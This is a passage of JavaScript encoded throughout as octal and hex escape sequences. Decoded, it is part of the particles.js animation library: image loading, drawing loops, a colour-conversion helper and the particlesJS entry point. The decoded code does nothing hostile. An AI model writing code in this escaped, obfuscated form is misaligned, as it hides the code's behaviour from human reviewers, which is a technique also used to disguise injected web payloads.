\40\x20\40\x20\x20\40\x20\x20\x20\x20\40\x78\x68\162\56\x6f\160\x65\156\x28\x27\x47\x45\124\x27\x2c\x20\x70\x4a\x53\x2e\160\x61\x72\164\151\x63\x6c\x65\x73\56\163\x68\141\160\x65\x2e\x69\155\x61\x67\145\56\163\162\x63\x29\73\12\40\x20\40\40\x20\40\x20\40\x20\40\x20\40\40\x20\x20\x20\170\x68\162\x2e\157\x6e\x72\x65\141\144\x79\x73\x74\141\x74\x65\x63\x68\x61\156\x67\x65\x20\x3d\40\146\x75\x6e\143\164\x69\x6f\156\50\144\141\x74\x61\51\40\173\xa\x20\x20\x20\40\x20\x20\x20\40\x20\x20\x20\40\x20\40\x20\x20\40\40\40\40\x69\146\x20\50\x78\x68\x72\x2e\162\x65\x61\144\x79\x53\164\141\x74\x65\x20\x3d\x3d\40\64\51\40\x7b\12\40\x20\40\40\40\40\x20\40\x20\40\40\40\x20\40\40\x20\40\40\x20\40\40\40\x20\x20\x69\146\40\x28\170\150\162\56\x73\x74\x61\164\x75\x73\40\x3d\75\40\62\60\60\51\x20\x7b\12\40\x20\x20\40\40\x20\x20\x20\x20\40\40\40\40\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\x20\x20\40\40\160\112\x53\56\164\x6d\160\56\x73\x6f\x75\x72\143\145\x5f\x73\x76\147\40\75\x20\x64\x61\164\141\x2e\143\x75\x72\162\x65\x6e\x74\x54\x61\162\147\145\x74\56\x72\145\163\160\157\156\163\x65\73\xa\x20\40\40\40\x20\x20\x20\40\40\x20\40\x20\40\40\x20\x20\40\40\x20\x20\40\x20\40\40\40\40\x20\40\x70\x4a\123\x2e\146\x6e\56\x76\x65\x6e\x64\157\162\x73\x2e\x63\150\145\x63\x6b\102\145\146\157\x72\145\104\x72\x61\x77\50\x29\xa\x20\x20\40\40\x20\40\40\x20\40\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x20\x20\40\x20\175\40\145\x6c\163\x65\x20\x7b\xa\x20\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\x20\40\40\40\40\40\x20\40\40\143\157\x6e\163\157\x6c\145\x2e\154\x6f\147\50\47\105\162\x72\157\x72\40\160\112\123\40\55\x20\111\155\141\x67\x65\x20\x6e\157\164\x20\146\157\x75\x6e\144\x27\x29\x3b\xa\x20\40\40\x20\x20\40\40\x20\40\x20\40\40\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\40\40\x20\x20\40\160\x4a\x53\x2e\x74\x6d\x70\x2e\151\x6d\x67\137\145\x72\x72\x6f\162\40\75\x20\41\x30\xa\40\40\x20\40\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\40\40\x20\40\x20\x7d\xa\x20\x20\x20\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\x20\40\x20\40\x20\x20\175\xa\x20\x20\40\x20\40\x20\40\40\x20\40\40\x20\x20\40\x20\x20\x7d\12\x20\x20\x20\40\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\x20\170\150\x72\x2e\163\145\156\x64\x28\x29\12\x20\40\x20\40\40\40\40\x20\40\x20\40\40\175\40\145\154\163\145\x20\x7b\xa\40\40\40\40\x20\x20\x20\40\x20\40\40\40\40\40\40\40\x76\141\x72\x20\151\x6d\147\40\75\x20\x6e\145\167\x20\x49\155\141\x67\x65\x28\51\73\xa\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\40\151\x6d\147\x2e\x61\144\x64\x45\x76\145\x6e\164\114\x69\x73\164\x65\x6e\145\x72\x28\47\x6c\x6f\141\144\x27\54\x20\146\165\x6e\x63\164\151\x6f\156\x28\x29\x20\173\xa\x20\40\40\x20\40\x20\x20\40\x20\40\40\x20\40\x20\x20\40\x20\40\x20\x20\160\x4a\123\x2e\164\x6d\x70\x2e\x69\x6d\147\137\157\x62\x6a\x20\x3d\40\151\155\x67\73\12\40\40\40\x20\x20\x20\x20\40\x20\40\40\40\40\40\40\40\40\x20\x20\x20\x70\x4a\123\x2e\x66\x6e\x2e\x76\x65\x6e\144\x6f\x72\x73\56\x63\x68\x65\x63\x6b\x42\x65\x66\x6f\162\x65\104\x72\x61\167\x28\x29\xa\40\x20\x20\40\x20\40\x20\40\40\40\x20\x20\x20\40\x20\x20\x7d\x29\73\12\x20\40\40\x20\x20\40\x20\40\40\x20\40\x20\x20\40\40\40\x69\155\147\x2e\163\x72\143\40\x3d\x20\160\112\x53\x2e\x70\x61\x72\x74\151\x63\154\145\x73\x2e\x73\x68\141\x70\145\x2e\x69\155\141\x67\x65\56\x73\162\x63\12\40\40\40\x20\40\40\x20\40\x20\x20\x20\40\x7d\12\x20\40\40\x20\40\40\x20\x20\175\40\x65\x6c\x73\145\x20\x7b\12\40\x20\40\40\x20\x20\40\40\40\40\x20\x20\143\157\x6e\163\x6f\x6c\145\56\x6c\157\147\50\x27\105\x72\x72\157\x72\x20\x70\112\x53\x20\x2d\x20\116\157\x20\x69\155\x61\147\x65\56\163\162\143\47\x29\x3b\12\x20\40\40\x20\x20\x20\x20\x20\x20\40\x20\x20\160\112\x53\56\x74\x6d\x70\56\151\x6d\147\137\x65\x72\x72\x6f\162\x20\75\x20\x21\x30\xa\40\40\40\x20\x20\40\x20\40\175\xa\40\x20\x20\x20\175\x3b\12\x20\40\40\40\x70\112\123\x2e\x66\x6e\56\x76\145\x6e\x64\x6f\x72\x73\56\x64\162\x61\167\40\x3d\x20\x66\x75\156\143\x74\x69\x6f\x6e\x28\x29\40\173\12\x20\40\40\40\40\x20\40\40\151\146\x20\50\160\112\123\x2e\160\x61\x72\164\151\143\x6c\x65\163\x2e\163\x68\141\160\145\56\x74\171\160\x65\x20\x3d\x3d\40\x27\151\x6d\141\x67\145\x27\x29\40\x7b\12\40\x20\40\40\40\x20\x20\40\40\x20\40\x20\x69\x66\40\50\160\x4a\123\x2e\x74\x6d\x70\56\x69\155\147\x5f\x74\x79\160\x65\x20\75\75\40\x27\x73\166\x67\x27\51\x20\x7b\xa\x20\40\40\40\x20\x20\x20\40\40\x20\40\40\40\40\40\40\x69\146\x20\x28\x70\112\123\x2e\x74\x6d\x70\x2e\143\157\165\x6e\164\137\163\166\x67\40\x3e\x3d\x20\160\x4a\x53\56\160\141\x72\x74\x69\143\x6c\x65\163\x2e\x6e\165\x6d\142\x65\x72\x2e\166\x61\x6c\x75\145\x29\x20\x7b\xa\40\40\40\40\x20\40\x20\40\40\x20\40\x20\40\40\x20\x20\x20\40\40\40\160\112\123\56\146\x6e\x2e\x70\x61\x72\x74\x69\x63\154\145\x73\x44\x72\x61\x77\x28\51\x3b\xa\x20\40\x20\40\40\40\x20\x20\x20\40\x20\40\x20\40\x20\x20\40\40\40\40\151\x66\x20\x28\41\x70\112\123\56\160\141\x72\x74\x69\x63\154\145\163\x2e\155\x6f\x76\x65\56\x65\156\141\142\154\x65\x29\x20\x63\141\x6e\x63\145\x6c\x52\x65\x71\x75\x65\x73\164\x41\x6e\x69\155\x46\162\141\x6d\x65\x28\160\x4a\x53\56\146\x6e\56\144\162\x61\167\x41\156\151\x6d\106\162\141\155\x65\51\x3b\xa\x20\x20\40\x20\x20\40\40\40\40\x20\40\40\x20\x20\x20\x20\40\40\40\x20\145\154\x73\145\40\x70\x4a\123\x2e\x66\156\x2e\144\x72\141\x77\x41\x6e\x69\155\106\162\141\x6d\x65\x20\75\40\162\x65\x71\165\145\x73\164\101\156\x69\x6d\106\x72\141\x6d\x65\50\x70\112\x53\x2e\146\156\56\x76\145\x6e\x64\x6f\x72\x73\x2e\x64\x72\141\x77\51\xa\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\x20\x20\175\x20\x65\154\x73\145\x20\173\12\40\40\x20\40\x20\40\40\40\x20\x20\x20\40\40\x20\40\40\x20\x20\40\40\x69\146\x20\50\x21\x70\x4a\x53\x2e\x74\155\x70\56\151\155\x67\137\145\x72\x72\x6f\x72\x29\x20\160\112\x53\56\x66\156\56\x64\x72\141\167\101\156\151\x6d\106\162\x61\155\x65\40\75\x20\162\x65\161\165\x65\163\x74\x41\156\x69\x6d\x46\x72\x61\x6d\145\x28\160\112\123\x2e\146\x6e\x2e\166\145\x6e\x64\157\162\163\x2e\x64\162\141\x77\x29\12\x20\x20\40\40\40\40\40\x20\40\40\40\40\40\x20\40\x20\175\xa\x20\40\x20\x20\x20\x20\40\x20\40\40\40\40\175\x20\145\154\x73\145\40\x7b\xa\x20\40\40\40\x20\40\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x69\x66\40\50\x70\x4a\123\56\x74\155\160\x2e\x69\155\147\137\157\142\x6a\x20\41\75\x20\165\156\x64\145\146\151\156\x65\144\x29\x20\173\xa\40\40\x20\x20\40\40\x20\40\x20\40\40\x20\40\40\40\40\40\40\40\x20\x70\112\123\56\x66\x6e\x2e\x70\141\162\x74\151\x63\x6c\145\163\104\x72\141\167\50\51\73\12\40\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\40\40\40\x20\x20\40\x20\x20\151\146\40\x28\41\x70\112\123\56\160\x61\162\x74\151\x63\x6c\145\x73\x2e\x6d\157\166\x65\56\145\156\x61\142\154\145\x29\40\143\141\156\x63\x65\x6c\122\x65\161\165\x65\163\x74\x41\156\151\x6d\x46\162\141\x6d\145\50\160\112\123\56\x66\156\x2e\144\162\x61\x77\101\156\x69\155\106\x72\x61\155\145\51\x3b\xa\40\40\40\x20\40\x20\40\40\40\40\x20\40\40\x20\x20\x20\40\x20\x20\x20\x65\154\x73\x65\x20\x70\112\x53\x2e\146\x6e\x2e\144\x72\x61\x77\x41\156\x69\155\x46\x72\x61\x6d\145\40\x3d\40\x72\145\x71\x75\145\163\164\101\x6e\x69\x6d\106\x72\x61\155\x65\x28\x70\112\x53\56\146\x6e\x2e\x76\145\x6e\144\x6f\162\163\56\x64\162\x61\x77\x29\12\40\x20\40\x20\40\40\40\x20\40\40\40\x20\x20\x20\40\40\175\x20\145\x6c\x73\145\x20\173\xa\40\x20\40\40\x20\40\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\x20\40\x69\x66\x20\50\x21\160\112\x53\56\x74\x6d\160\x2e\x69\155\147\x5f\145\162\162\157\x72\51\40\x70\x4a\x53\x2e\146\156\x2e\x64\162\x61\x77\x41\156\151\155\x46\162\141\155\145\x20\x3d\x20\x72\145\x71\x75\145\x73\x74\101\x6e\151\155\106\162\141\155\145\x28\x70\112\123\56\x66\156\56\166\x65\x6e\144\157\162\163\56\x64\x72\141\x77\x29\xa\x20\x20\x20\40\40\x20\x20\x20\40\x20\x20\40\40\40\40\40\x7d\xa\x20\x20\x20\40\x20\x20\40\40\40\40\x20\x20\175\12\40\40\x20\x20\40\40\x20\x20\x7d\40\145\x6c\163\x65\x20\x7b\12\x20\40\40\x20\40\x20\40\x20\40\x20\x20\40\160\112\x53\56\146\156\56\160\141\162\164\x69\143\x6c\145\163\x44\162\x61\x77\50\x29\73\xa\x20\40\40\x20\40\x20\40\x20\x20\x20\40\x20\151\x66\40\x28\x21\160\112\123\x2e\x70\x61\x72\x74\151\x63\154\x65\x73\56\x6d\157\x76\x65\56\145\x6e\x61\x62\x6c\145\51\x20\x63\x61\x6e\x63\x65\x6c\x52\x65\x71\165\x65\x73\x74\101\156\151\155\x46\162\141\155\x65\50\x70\x4a\123\x2e\146\x6e\x2e\144\162\x61\x77\x41\156\x69\155\x46\162\141\x6d\145\x29\x3b\xa\x20\40\40\x20\x20\40\40\40\x20\40\x20\40\x65\154\163\x65\40\160\x4a\123\56\x66\x6e\x2e\x64\162\x61\167\x41\156\151\x6d\106\162\141\155\145\40\75\x20\162\x65\x71\165\145\163\164\101\x6e\x69\x6d\106\162\141\x6d\145\x28\x70\112\123\x2e\146\x6e\x2e\166\x65\156\x64\x6f\x72\163\x2e\x64\x72\141\x77\51\xa\40\40\40\x20\x20\40\x20\40\175\xa\40\40\x20\40\x7d\73\xa\x20\40\40\40\x70\112\123\56\146\x6e\56\x76\x65\156\144\157\x72\163\x2e\x63\150\x65\x63\x6b\x42\145\x66\x6f\162\145\x44\x72\x61\167\40\x3d\40\x66\165\156\143\x74\151\x6f\x6e\50\51\x20\173\12\x20\x20\40\40\x20\x20\x20\x20\x69\x66\x20\x28\160\112\123\56\160\x61\x72\164\x69\x63\x6c\145\163\x2e\x73\x68\141\x70\145\56\164\x79\160\145\40\75\x3d\40\x27\151\x6d\141\147\x65\47\51\40\173\12\x20\40\x20\40\x20\x20\x20\x20\40\40\40\x20\151\146\40\50\x70\112\123\x2e\164\x6d\x70\56\x69\155\x67\x5f\164\x79\x70\x65\x20\x3d\x3d\x20\x27\163\x76\147\x27\x20\x26\46\40\160\x4a\123\56\164\155\160\x2e\163\x6f\x75\x72\143\145\x5f\x73\x76\x67\x20\x3d\75\x20\x75\156\144\145\x66\x69\x6e\x65\x64\x29\x20\173\12\x20\x20\x20\x20\x20\40\x20\40\40\40\40\40\40\40\x20\x20\160\x4a\123\x2e\x74\155\x70\56\x63\x68\x65\143\153\101\x6e\x69\x6d\106\x72\x61\x6d\145\40\x3d\40\x72\x65\x71\165\145\163\x74\x41\x6e\151\x6d\106\x72\141\x6d\x65\x28\x63\x68\145\x63\153\51\xa\40\x20\x20\40\40\x20\x20\x20\x20\40\x20\x20\x7d\x20\x65\154\x73\145\x20\x7b\xa\40\40\x20\40\x20\40\40\x20\40\x20\40\40\x20\40\40\40\143\x61\156\x63\x65\x6c\122\x65\161\x75\x65\163\x74\101\x6e\x69\155\106\x72\x61\x6d\145\x28\x70\112\123\x2e\x74\155\160\56\x63\150\x65\143\153\x41\x6e\x69\155\x46\162\141\155\x65\x29\x3b\12\40\x20\x20\40\x20\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\151\146\40\50\x21\x70\x4a\x53\x2e\x74\155\160\x2e\x69\x6d\147\x5f\145\x72\x72\x6f\162\x29\x20\173\xa\x20\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\40\x20\x70\112\123\x2e\146\x6e\56\166\x65\156\144\157\x72\163\x2e\151\x6e\151\164\50\51\73\xa\x20\x20\40\x20\40\x20\x20\40\x20\40\40\40\x20\x20\40\x20\x20\40\40\40\160\112\123\x2e\146\x6e\x2e\x76\x65\x6e\x64\157\162\x73\x2e\144\x72\x61\167\x28\51\12\40\40\x20\40\x20\40\40\40\x20\40\40\x20\40\40\40\x20\x7d\12\40\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x7d\12\40\40\40\x20\x20\40\x20\x20\175\40\145\154\x73\145\x20\173\xa\x20\x20\40\40\x20\x20\40\x20\x20\x20\40\40\x70\x4a\x53\56\146\x6e\56\x76\x65\156\x64\x6f\x72\163\56\151\156\151\164\50\51\x3b\12\40\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\x70\x4a\123\x2e\x66\156\56\166\x65\156\x64\x6f\x72\x73\x2e\x64\x72\141\167\x28\x29\12\x20\x20\x20\x20\40\x20\40\40\x7d\12\40\40\x20\40\x7d\73\12\40\40\x20\40\160\x4a\123\x2e\x66\156\56\x76\145\x6e\x64\157\162\163\56\151\x6e\151\x74\40\75\40\146\165\156\143\164\x69\157\x6e\x28\51\x20\x7b\xa\40\x20\x20\x20\x20\x20\40\40\x70\x4a\123\56\146\156\x2e\x72\x65\164\151\156\x61\111\x6e\x69\x74\x28\51\73\xa\40\x20\x20\x20\40\x20\40\x20\x70\112\x53\x2e\146\156\x2e\x63\x61\156\166\141\163\111\x6e\x69\x74\50\x29\x3b\xa\x20\x20\40\x20\40\40\40\x20\x70\x4a\123\56\146\x6e\56\x63\x61\156\166\141\163\x53\x69\172\x65\50\x29\x3b\xa\40\x20\40\x20\40\x20\40\x20\160\112\x53\56\x66\156\x2e\143\x61\x6e\166\141\163\120\141\x69\156\164\x28\x29\x3b\12\40\x20\x20\x20\x20\40\40\40\x70\112\123\56\x66\156\56\160\141\162\x74\151\143\154\145\163\x43\162\145\141\x74\x65\50\x29\x3b\xa\x20\x20\40\x20\x20\x20\40\x20\160\112\123\x2e\146\156\56\166\145\156\x64\x6f\x72\163\56\x64\x65\x6e\163\151\x74\171\101\165\x74\x6f\120\141\x72\x74\x69\143\154\145\163\x28\51\x3b\xa\x20\x20\x20\40\x20\40\40\x20\x70\x4a\123\x2e\160\141\x72\164\151\143\x6c\145\163\x2e\x6c\151\x6e\145\x5f\x6c\151\x6e\153\145\x64\x2e\143\157\154\x6f\162\x5f\162\147\142\137\154\151\x6e\x65\x20\75\40\150\145\170\x54\157\122\x67\142\x28\160\112\x53\x2e\x70\141\162\x74\x69\x63\x6c\145\x73\x2e\x6c\151\x6e\145\x5f\x6c\x69\x6e\153\x65\144\56\x63\x6f\x6c\x6f\162\x29\xa\x20\40\x20\x20\175\73\xa\x20\40\x20\x20\x70\112\123\x2e\x66\x6e\x2e\166\145\156\144\x6f\162\163\56\163\x74\141\x72\164\40\x3d\x20\x66\165\156\x63\164\x69\157\x6e\50\51\x20\173\12\x20\x20\x20\40\40\x20\40\40\151\x66\40\x28\x69\163\111\156\x41\x72\x72\x61\171\x28\x27\x69\155\141\147\145\x27\54\40\160\112\123\x2e\160\x61\x72\x74\151\x63\x6c\x65\x73\x2e\x73\x68\x61\x70\145\x2e\164\x79\160\x65\51\51\x20\173\12\40\40\40\x20\x20\x20\40\40\40\x20\x20\40\x70\x4a\123\x2e\x74\155\160\56\151\x6d\x67\137\x74\x79\160\145\40\75\40\160\x4a\123\x2e\160\141\162\x74\151\x63\x6c\145\x73\x2e\163\x68\141\160\x65\x2e\x69\155\x61\x67\145\x2e\x73\x72\x63\x2e\163\x75\x62\x73\164\x72\50\160\112\x53\x2e\160\141\162\x74\151\x63\x6c\145\x73\56\163\x68\141\160\145\x2e\x69\x6d\141\x67\145\56\x73\x72\143\x2e\154\x65\156\147\x74\x68\x20\55\40\63\51\73\12\40\x20\x20\40\40\40\x20\x20\40\x20\40\40\160\112\x53\56\146\156\x2e\x76\145\x6e\x64\157\162\163\x2e\154\x6f\141\x64\111\x6d\147\x28\x70\x4a\123\x2e\164\155\x70\56\x69\x6d\x67\x5f\164\171\160\x65\51\xa\x20\x20\x20\x20\40\40\40\x20\x7d\x20\x65\154\x73\145\x20\x7b\xa\40\40\x20\x20\x20\40\40\40\x20\40\x20\x20\160\x4a\x53\x2e\146\156\x2e\166\145\156\144\x6f\162\x73\56\x63\150\x65\x63\153\x42\145\x66\x6f\162\145\104\x72\x61\167\50\x29\xa\x20\40\40\x20\x20\x20\x20\x20\x7d\12\40\40\40\x20\175\x3b\12\x20\40\40\x20\160\x4a\123\x2e\x66\x6e\x2e\x76\145\x6e\144\x6f\162\163\x2e\145\166\145\156\x74\x73\114\x69\x73\x74\x65\156\x65\162\x73\x28\x29\x3b\xa\x20\x20\40\x20\x70\x4a\x53\56\146\x6e\x2e\x76\145\156\144\157\162\163\56\x73\x74\x61\x72\x74\50\x29\12\175\x3b\12\x4f\x62\x6a\145\143\164\56\144\x65\145\x70\x45\x78\164\145\156\x64\x20\75\40\146\x75\156\143\164\x69\157\156\x28\x64\x65\163\164\151\156\x61\164\151\x6f\x6e\x2c\40\163\x6f\165\162\143\145\x29\x20\173\12\x20\x20\x20\x20\x66\x6f\162\x20\50\x76\141\x72\x20\160\x72\x6f\x70\x65\162\x74\x79\x20\151\x6e\40\x73\x6f\165\x72\143\145\51\x20\x7b\12\x20\40\40\x20\x20\x20\x20\40\x69\146\x20\50\163\x6f\x75\x72\x63\145\133\x70\162\157\160\145\x72\x74\x79\x5d\40\x26\46\40\x73\x6f\x75\162\143\x65\x5b\x70\x72\157\160\x65\x72\164\x79\x5d\56\x63\157\x6e\163\x74\x72\165\143\164\157\162\40\46\x26\x20\163\x6f\165\x72\143\x65\x5b\x70\x72\x6f\160\145\x72\164\171\135\56\143\157\x6e\x73\x74\x72\x75\143\x74\157\162\x20\x3d\x3d\75\x20\x4f\x62\x6a\x65\143\x74\51\40\x7b\xa\40\40\x20\x20\x20\40\40\x20\40\40\x20\40\144\x65\x73\x74\x69\156\141\x74\x69\157\156\x5b\160\x72\x6f\160\x65\162\164\171\x5d\40\75\40\x64\145\x73\x74\151\156\141\164\x69\x6f\156\133\x70\x72\157\x70\145\162\164\x79\135\x20\174\x7c\40\173\175\x3b\12\x20\x20\x20\x20\40\40\x20\40\x20\x20\40\40\x61\162\x67\x75\155\x65\x6e\164\x73\x2e\143\141\x6c\154\145\145\50\144\x65\x73\164\151\x6e\141\x74\151\x6f\156\133\160\x72\157\160\145\162\x74\171\135\x2c\40\x73\157\x75\x72\143\x65\x5b\x70\162\157\x70\x65\162\x74\171\135\x29\12\x20\x20\40\40\x20\x20\x20\x20\x7d\40\145\x6c\x73\x65\x20\x7b\12\x20\x20\40\40\x20\x20\40\x20\x20\40\x20\40\x64\145\163\164\x69\156\x61\x74\151\x6f\156\133\x70\x72\x6f\160\145\162\164\x79\135\40\x3d\40\x73\157\x75\x72\x63\x65\133\x70\162\157\160\145\162\164\x79\x5d\12\x20\x20\40\40\40\x20\40\40\175\12\x20\40\40\x20\x7d\xa\40\40\40\x20\162\x65\164\x75\162\156\40\144\145\163\164\151\x6e\141\x74\151\157\156\12\175\x3b\12\167\x69\x6e\x64\157\167\x2e\162\145\161\165\x65\163\x74\101\156\151\155\106\x72\x61\x6d\145\x20\75\40\50\146\165\x6e\143\x74\151\157\x6e\50\x29\x20\x7b\12\x20\x20\x20\x20\x72\x65\x74\x75\x72\x6e\40\x77\x69\x6e\144\x6f\x77\x2e\162\x65\x71\x75\145\163\x74\x41\x6e\x69\155\x61\164\151\x6f\156\x46\x72\141\x6d\145\40\x7c\174\40\167\151\156\x64\x6f\x77\x2e\167\145\x62\153\151\164\x52\145\161\x75\145\163\x74\101\x6e\x69\155\x61\x74\151\157\x6e\x46\x72\141\155\145\x20\x7c\174\40\x77\151\x6e\144\157\x77\x2e\155\x6f\x7a\x52\145\x71\165\x65\x73\x74\101\x6e\151\x6d\x61\x74\151\157\156\106\x72\x61\x6d\x65\x20\174\x7c\40\x77\x69\x6e\144\x6f\167\x2e\157\x52\x65\161\165\x65\x73\x74\x41\156\151\x6d\x61\164\151\x6f\x6e\106\162\141\x6d\145\x20\x7c\174\40\167\x69\x6e\x64\x6f\x77\x2e\155\163\122\x65\x71\165\145\x73\x74\x41\156\151\x6d\x61\164\151\157\156\x46\x72\141\155\x65\40\x7c\x7c\40\146\x75\156\x63\x74\x69\157\x6e\50\x63\x61\x6c\154\142\141\x63\153\51\x20\x7b\xa\x20\x20\x20\x20\x20\40\x20\40\x77\x69\x6e\x64\157\x77\x2e\x73\x65\x74\124\x69\x6d\x65\157\x75\164\50\143\141\154\154\142\141\x63\x6b\x2c\x20\61\60\x30\60\x20\57\x20\66\x30\x29\xa\x20\40\x20\x20\x7d\xa\x7d\51\x28\x29\x3b\12\167\151\x6e\144\157\167\56\143\x61\x6e\143\145\154\122\x65\x71\x75\x65\163\x74\x41\x6e\151\155\x46\162\141\155\x65\40\x3d\x20\x28\x66\x75\x6e\x63\x74\x69\157\156\50\x29\40\173\12\40\40\x20\40\162\x65\x74\x75\x72\x6e\x20\167\x69\x6e\144\x6f\167\x2e\x63\141\x6e\x63\x65\154\x41\x6e\151\x6d\x61\164\x69\157\x6e\106\162\x61\155\x65\x20\174\174\x20\167\151\156\x64\x6f\167\56\x77\145\142\x6b\x69\x74\103\141\x6e\143\145\154\x52\x65\161\165\145\x73\x74\101\156\151\155\x61\164\x69\x6f\156\x46\162\x61\x6d\145\40\174\174\x20\167\151\156\144\x6f\x77\56\155\x6f\x7a\103\x61\x6e\143\x65\154\122\x65\161\x75\145\163\164\x41\x6e\x69\x6d\141\164\x69\157\156\106\162\x61\155\145\x20\x7c\x7c\40\x77\x69\x6e\x64\157\x77\x2e\x6f\x43\x61\156\143\145\x6c\x52\x65\x71\165\145\163\x74\x41\x6e\x69\x6d\x61\x74\151\x6f\156\x46\x72\141\155\x65\x20\x7c\174\40\x77\151\x6e\x64\x6f\167\x2e\155\x73\103\x61\x6e\143\145\154\x52\x65\x71\x75\145\163\164\101\156\151\x6d\141\x74\x69\157\156\x46\x72\x61\155\x65\x20\x7c\x7c\x20\143\x6c\x65\141\x72\124\151\155\145\157\x75\164\12\x7d\x29\50\51\73\xa\xa\x66\165\156\143\x74\x69\x6f\x6e\x20\150\x65\170\x54\x6f\122\x67\142\50\150\145\x78\x29\x20\173\12\x20\40\40\x20\166\x61\162\40\163\x68\157\162\164\150\141\x6e\x64\x52\x65\x67\x65\x78\40\x3d\x20\57\x5e\x23\x3f\50\133\x61\x2d\x66\134\x64\135\51\50\133\141\55\x66\134\x64\135\x29\x28\x5b\141\55\146\134\x64\135\51\x24\x2f\151\73\12\x20\40\40\x20\x68\x65\170\40\75\x20\150\145\170\56\x72\x65\x70\154\141\x63\145\x28\x73\x68\157\162\164\150\141\x6e\144\122\145\147\x65\170\54\40\x66\165\x6e\x63\x74\151\x6f\156\50\x6d\x2c\x20\162\54\x20\147\54\x20\x62\51\40\x7b\12\40\40\40\x20\40\40\40\x20\x72\145\164\x75\162\156\x20\162\x20\53\x20\x72\40\53\40\147\40\x2b\40\x67\x20\x2b\x20\x62\40\53\40\142\12\x20\x20\40\x20\x7d\x29\x3b\xa\40\40\x20\x20\166\x61\x72\x20\162\145\163\x75\x6c\164\x20\x3d\40\x2f\x5e\x23\77\50\x5b\141\x2d\146\134\x64\135\173\62\x7d\51\50\133\141\x2d\146\x5c\144\135\173\62\x7d\51\x28\133\x61\x2d\x66\x5c\144\135\x7b\x32\175\x29\44\57\x69\56\x65\170\145\143\x28\150\145\x78\51\73\12\x20\x20\x20\x20\x72\145\164\165\x72\156\40\x72\x65\x73\165\154\164\x20\x3f\x20\x7b\xa\x20\40\x20\x20\40\40\x20\40\x72\72\x20\x70\x61\162\x73\x65\111\x6e\x74\x28\x72\145\x73\x75\x6c\164\x5b\61\x5d\54\x20\61\66\x29\x2c\xa\40\40\40\x20\x20\40\x20\x20\x67\72\40\160\x61\162\x73\145\111\156\164\50\x72\x65\163\165\154\x74\x5b\x32\135\x2c\x20\61\66\x29\x2c\12\40\x20\40\x20\x20\x20\x20\x20\142\x3a\40\x70\x61\162\x73\145\111\x6e\x74\x28\x72\x65\x73\165\154\164\133\63\x5d\54\x20\61\x36\x29\xa\x20\40\x20\x20\x7d\40\x3a\40\x6e\165\154\x6c\xa\x7d\73\12\xa\146\165\156\143\x74\151\x6f\x6e\40\x63\154\x61\x6d\160\50\x6e\x75\155\142\145\162\54\x20\x6d\x69\156\54\x20\x6d\141\170\x29\40\x7b\xa\40\x20\x20\40\162\145\164\165\x72\156\x20\115\x61\x74\x68\56\x6d\151\x6e\x28\x4d\141\x74\x68\x2e\155\141\170\50\156\165\x6d\x62\x65\x72\x2c\x20\x6d\x69\156\x29\x2c\40\155\x61\170\51\12\x7d\x3b\xa\xa\146\165\156\143\164\x69\157\x6e\40\151\163\x49\156\101\162\x72\x61\171\x28\x76\x61\154\x75\x65\x2c\40\141\x72\x72\x61\171\51\40\x7b\xa\x20\40\40\x20\x72\145\x74\x75\x72\x6e\x20\x61\x72\162\x61\171\56\151\156\144\x65\170\x4f\146\x28\166\x61\x6c\165\x65\x29\40\x3e\x20\55\x31\12\x7d\12\167\151\156\144\157\167\56\x70\112\x53\104\x6f\x6d\40\75\x20\x5b\135\x3b\12\x77\151\x6e\144\157\167\x2e\x70\141\x72\x74\x69\143\154\x65\163\x4a\x53\40\75\40\146\x75\x6e\143\164\151\157\x6e\50\164\x61\147\x5f\x69\x64\x2c\40\160\141\x72\141\x6d\x73\x29\40\173\12\x20\x20\40\40\x69\x66\40\50\x74\x79\x70\145\157\146\50\164\141\x67\137\x69\144\51\x20\x21\x3d\x20\x27\x73\164\x72\x69\156\x67\x27\51\x20\x7b\12\x20\x20\x20\x20\40\40\x20\x20\x70\141\x72\x61\x6d\163\40\75\40\164\x61\147\x5f\151\x64\73\xa\x20\x20\x20\x20\40\40\x20\x20\x74\x61\147\x5f\151\x64\x20\75\x20\47\x70\141\162\164\x69\143\x6c\145\163\55\x6a\163\x27\12\x20\40\x20\40\175\xa\x20\40\40\x20\x69\x66\x20\50\41\x74\141\x67\x5f\151\144\51\40\173\xa\x20\40\x20\x20\x20\40\40\40\164\x61\x67\x5f\x69\144\x20\x3d\x20\47\160\x61\x72\164\x69\x63\x6c\x65\163\x2d\152\x73\x27\12\x20\x20\x20\x20\175\xa\40\40\x20\x20\x76\141\x72\40\x70\112\x53\x5f\164\x61\147\40\x3d\x20\x64\x6f\143\165\x6d\145\x6e\164\x2e\147\x65\x74\x45\x6c\145\155\x65\x6e\164\102\171\111\x64\50\x74\x61\x67\x5f\151\144\51\54\12\x20\40\x20\40\40\40\40\x20\160\x4a\123\137\x63\141\156\166\141\x73\x5f\143\154\141\x73\x73\x20\75\40\x27\x70\x61\162\164\151\x63\154\145\x73\x2d\x6a\x73\55\143\x61\156\x76\x61\x73\x2d\x65\154\x27\54\xa\x20\40\40\x20\x20\40\40\x20\x65\x78\151\163\164\x5f\143\141\x6e\166\141\163\40\x3d\40\x70\x4a\x53\x5f\164\x61\147\x2e\147\145\x74\105\154\145\155\x65\156\164\x73\x42\x79\x43\x6c\x61\x73\x73\x4e\141\x6d\145\x28\x70\112\123\x5f\x63\x61\x6e\166\141\x73\137\x63\x6c\x61\x73\x73\x29\x3b\12\40\x20\40\40\x69\x66\x20\50\x65\x78\x69\x73\x74\137\143\141\x6e\166\141\163\56\x6c\x65\x6e\x67\164\150\x29\x20\173\12\x20\x20\40\x20\x20\x20\x20\x20\167\150\x69\x6c\x65\40\50\x65\170\x69\x73\164\137\143\x61\x6e\166\